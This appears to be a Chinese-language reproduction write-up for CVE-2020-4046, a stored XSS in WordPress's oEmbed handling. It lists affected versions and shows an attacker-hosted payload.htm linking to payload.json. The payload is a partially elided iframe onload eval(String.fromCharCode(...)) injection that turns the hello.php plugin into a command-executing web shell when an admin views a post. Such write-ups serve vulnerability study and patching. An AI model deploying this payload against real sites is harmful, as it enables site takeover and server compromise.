(CVE-2020-4046)WordPress 5.3.4 储型XSS.md
2.66 KB / 2021-07-15 20:10:49
(CVE-2020-4046)WordPress 5.3.4 储型XSS
========================================
一、漏洞简介
------------
该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。
二、漏洞影响
------------
WordPress
5.3.4版本,5.2.7版本,5.1.6版本,5.0.10版本,4.9.15版本,4.8.14版本,4.7.18,
4.6.19版本,4.5.22版本,4.4.23版本,4.3.24版本,4.2.28版本,4.1.31版本,4.0.31版本,3.9.32版本,3.8.34版本,3.7.34版本。
三、复现过程
------------
要利用该漏洞,攻击者需要在其自身的web服务器上托管两个文件(这些文件的内容将在后面显示)。为使漏洞利用正常进行,被攻击的目标服务器必须能访问攻击者web服务器以下载payload。虽然WordPress有健全的外部资源引用控制机制,但是此类安全设置将会阻止WordPress嵌入其它正常的URL,因此实际场景中开启此安全设置是比较少见的。我们基于`@g0blinResearch`师傅的文章生成payload。然后将payload中插件地址修改为`hello.php`(也就是`/wp-content/plugins/hello.php`),该插件为WordPress默认插件且可以访问,同时进行了其他一些小的改动。该payload使用`https://eve.gd/2007/05/23/string-fromcharcode-encoder/`在线工具进行编码,以避免各种转义问题。在此演示中,对应的`payload.htm`如下:
<HTML>
<HEAD>
<LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json">
</HEAD>
</HTML>
`payload.json`部分如下,(没有给出完整的利用代码是为了避免漏洞在未修复前被恶意利用):
{
"type":"rich",
"html":"<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe src='noexist' title='xxx'
height=' title=' width=\"'' onload='eval(String.fromCharCode(118,97,114,…))'\"></iframe>"
}
现在,我们用至少具有`贡献者`权限的账户登录目标站点,随后创建一个帖子以嵌入我们payload:
![1.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId24.png)
管理员随后查看帖子时:
![2.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId25.png)![3.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId26.png)
我们的payload已执行,并且对应`/wp-content/plugins/hello.php`文件被编辑成允许我们执行任意系统命令:
![4.png](./resource/(CVE-2020-4046)WordPress5.3.4储型XSS/media/rId27.png)
参考链接
--------
> https://xz.aliyun.com/t/7929
>
> https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/